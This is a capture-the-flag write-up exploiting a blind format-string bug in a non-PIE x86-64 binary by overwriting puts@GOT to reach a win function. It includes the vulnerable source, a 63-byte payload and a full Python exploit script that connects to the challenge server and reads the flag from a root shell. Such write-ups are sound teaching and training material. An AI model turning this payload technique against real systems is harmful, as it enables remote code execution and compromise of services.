Category: pwn / binary exploitation (format string) Target:
34.63.108.139:4242Binary:1778608629_chall(ELF64, x86-64, dynamically linked, not stripped) Flag:P2P{Turn5_0uT_1t_W4snT_S0_b0r1nG_Aft3r4lL}
The challenge description — "I might have made the world's most boring binary. Just saying." — is a troll. The binary really is short and dull-looking, but it hides a format-string bug with several layers of defense that rule out the "obvious" exploit and force a GOT-overwrite.
1. Recon
$ file 1778608629_chall
ELF 64-bit LSB executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
Symbols of interest (nm):
00000000004011f6 T win
0000000000401272 T greet
000000000040120d T setup
00000000004012fc T main
A win function in a not-stripped, non-PIE binary — the classic "redirect control to win" setup.
Source (recovered from the server after popping a shell)
void win() { system("/bin/sh"); }
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void greet() {
char name[64];
printf("Tell me your name: ");
fgets(name, sizeof(name), stdin); // <= 63 bytes, bounded
char formatted[96];
snprintf(formatted, sizeof(formatted), name); // <-- BUG: user input is the format string
puts("\nThanks. You can leave now.\n"); // result of snprintf is DISCARDED
}
int main() {
setup();
puts("This is literally the most boring binary you will see this CTF...\n");
greet();
puts("Told you it was boring.");
return 0;
}
Build flags (compile.sh)
gcc -o chall chall.c -no-pie -fstack-protector-strong -Wl,-z,relro -z noexecstack
This tells us the full mitigation picture:
| Mitigation | Status | Consequence |
|---|---|---|
| PIE | ❌ -no-pie |
Code & GOT are at fixed addresses (0x40xxxx). |
| Stack canary | ✅ -fstack-protector-strong |
Can't smash the saved return address with a linear overflow. |
| RELRO | ⚠️ Partial (-z relro, no -z now) |
Lazy binding → .got.plt is writable. |
| NX | ✅ noexecstack |
No shellcode on the stack. |
2. The bug
snprintf(formatted, sizeof(formatted), name);
name (fully user-controlled) is passed as the format string with no variadic arguments → a textbook format-string vulnerability. We can read/write the stack with %p/%n.
But three things make the "easy" exploit impossible:
- It's blind.
formattedis never printed (putsoutputs a constant string). So%pleaks give us nothing — we can never see stack/libc addresses. fgetsandsnprintfare both bounded (63 and 96 bytes), and the canary lives above thesnprintfdestination, so no write reaches it.- The format string lands in
name[64], so the whole payload — directives and any pointers — must fit in 63 bytes.
The author's "intended" hint
win is at 0x4011f6; greet's saved return address is 0x401324. They differ only in the low two bytes:
0x401324 (return into main)
0x4011f6 (win)
^^^^ only the low 16 bits change, and 0x11f6 = 4598
So the author clearly wants a single %hn writing 0x11f6 onto the saved return address.
A useful glibc quirk makes the count reachable despite the 96-byte cap — snprintf reports the untruncated length for %n:
snprintf(buf, 0x60, "%4598c%n", 'A', &n); // n == 4598 (0x11f6), even though buf is only 96 bytes
…but that intended path turns out to be a dead end.
3. Why the return-address overwrite doesn't work
To %hn onto the saved return address I need a stack pointer that points at the return slot. To analyze this precisely I reproduced the server's runtime — the binary was built on Ubuntu 20.04 (GCC 9.4.0), i.e. glibc 2.31. Docker wasn't available (no privileges), so I downloaded the Ubuntu libc6 2.31 package and ran the binary under its loader:
ld-2.31.so --library-path <libdir> ./chall
Dumping the snprintf varargs region in gdb (offsets relative to greet's frame base RBP_g):
pos 18 off= +0 -> RBP_g (a pointer to greet's saved-rbp slot)
pos 26 off= +16 -> RBP_m (greet's saved rbp = real frame pointer)
pos 27 off= - val=0x401324 (the return address VALUE we want to change)
pos 28 off=+192 -> RBP_l (main's saved rbp)
Every reliable pointer is a 16-byte-aligned frame base (a saved rbp). Return addresses always sit at base + 8. There is simply no pointer to any +8 return slot — and there never can be, because saved-rbp values are 16-aligned while return slots are 8 mod 16.
The 2-stage idea, and why glibc kills it
Natural workaround: pointer pos 26 = RBP_m = RBP_g+0x10 points 8 bytes past the return slot. First nudge its stored low byte 0x60 → 0x58 (turning it into a return-slot pointer), then %hn through it. I tested this directly:
payload: %5$88c%18$hhn%5$4510c%26$hn
AFTER snprintf:
saved_rbp[RBP_g] = 0x...dd58 <- stage 1 worked (0x60 -> 0x58)
retslot[RBP_g+8] = 0x401324 <- UNCHANGED
[RBP_g+0x10] = 0x...11f6 <- stage 2 wrote to the OLD pointer
glibc snapshots all positional (%n$) arguments into an array before producing any output. So stage 2 used the pre-read pointer, not the one stage 1 modified. "Modify-then-reuse" is impossible with positional specifiers, and reaching pos 26 with sequential specifiers doesn't fit in 63 bytes.
Conclusion: a return-address overwrite is structurally impossible here. Pivot needed.
4. The working exploit — overwrite puts@GOT
Three facts combine perfectly:
- Non-PIE + partial RELRO →
puts@GOTis at a fixed, writable address:0x404018. greetcallsputs("\nThanks...\n")immediately after the vulnerablesnprintf. So corruptingputs@GOTdetonates right away, insidegreet.- Calling
winthrough the PLT (a normalcall) keeps the stack 16-aligned, sosystem()'smovapswon't fault (a problem aret-based redirect would have hit).
Because puts was already resolved by main's earlier puts(...), its GOT entry holds a libc address, so I overwrite the low 6 bytes with three half-word (%hn) writes, ordered by increasing count:
| target | value | cumulative count |
|---|---|---|
GOT+2 (0x40401a) |
0x0040 |
64 |
GOT+0 (0x404018) |
0x11f6 |
4598 |
GOT+4 (0x40401c) |
0x0000 |
65536 (0x10000, low 16 bits = 0) |
Result: puts@GOT = 0x00000000004011f6 = win. (Bytes 6–7 were already zero.)
Argument positioning
In the snprintf varargs, the input buffer's first qword is positional arg %4$. So buffer byte 8*k is arg %(4+k)$. I place the three GOT addresses at args %9$/%10$/%11$ (buffer bytes 40/48/56) and use %5$ as the throwaway width-padding argument:
%5$64c %10$hn %5$4534c %9$hn %5$60938c %11$hn <addr GOT+0><addr GOT+2><addr GOT+4>
└──────────── 40 bytes of directives ───────────┘└────────── 24 bytes ──────────┘
Directives are exactly 40 bytes, addresses fill bytes 40–63. The NUL bytes inside the addresses don't matter: positional args are read from the stack, not by re-scanning the format string (which stops at the first NUL — after all three %hn have already fired). fgets reads 63 bytes and supplies the final NUL, completing the 8th byte of the last address.
Final payload (63 bytes)
%5$64c%10$hn%5$4534c%9$hn%5$60938c%11$hn\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00\x1c@@\x00\x00\x00\x00
Why it's bulletproof: every address is a fixed non-PIE GOT address and every count is a constant. There is zero dependence on ASLR or libc internals — it relies only on non-PIE, writable GOT, and glibc's untruncated
%ncount. It worked on the remote on the first attempt.
5. Exploit script
#!/usr/bin/env python3
import socket, time, sys
PUTS_GOT = 0x404018 # puts@GOT -> overwrite to win (0x4011f6)
def fmtspec(n): # padding via arg %5$ (value irrelevant)
return b"%5$" + str(n).encode() + b"c"
def build():
p1, p2, p3 = 0x40, 0x11f6, 0x10000 # cumulative counts at each %hn
d1, d2, d3 = p1, p2 - p1, p3 - p2 # 64, 4534, 60938
fmt = fmtspec(d1) + b"%10$hn" # count 64 -> GOT+2 = 0x0040
fmt += fmtspec(d2) + b"%9$hn" # count 4598 -> GOT+0 = 0x11f6
fmt += fmtspec(d3) + b"%11$hn" # count 65536 -> GOT+4 = 0x0000
assert len(fmt) == 40
addrs = b"".join(a.to_bytes(8, "little")
for a in (PUTS_GOT+0, PUTS_GOT+2, PUTS_GOT+4)) # %9$ %10$ %11$
return (fmt + addrs)[:63] # fgets reads 63; trailing NUL finishes pos 11
def pwn(host="34.63.108.139", port=4242):
s = socket.socket(); s.connect((host, port)); time.sleep(0.4)
s.recv(4096) # banner + "Tell me your name: "
s.sendall(build() + b"\n") # -> system("/bin/sh")
time.sleep(0.4)
s.sendall(b"id; cat flag* /flag* 2>/dev/null; echo ===END===\n")
time.sleep(1.2)
s.settimeout(3); out = b""
try:
while True:
d = s.recv(4096)
if not d: break
out += d
except Exception: pass
sys.stdout.buffer.write(out)
if __name__ == "__main__":
pwn()
Result
uid=0(root) gid=0(root) groups=0(root)
P2P{Turn5_0uT_1t_W4snT_S0_b0r1nG_Aft3r4lL}
The service even runs as root, so the format-string bug yields a full root shell.
6. Takeaways
snprintf(dst, n, user_input)is a format-string bug, full stop — the bounded size does not save you.- A blind format string + stack canary can still be game over via a GOT overwrite, even with no leak and no ASLR knowledge, as long as the binary is non-PIE with lazy binding.
- glibc details that mattered:
%nrecords the untruncated length (beats the 96-byte cap), and positional args are snapshotted before output (kills modify-then-reuse on the stack). - Prefer hijacking a function pointer that is called right after the bug and reached via the PLT — it triggers immediately and sidesteps
system()'s stack-alignment pitfall.
Flag: P2P{Turn5_0uT_1t_W4snT_S0_b0r1nG_Aft3r4lL}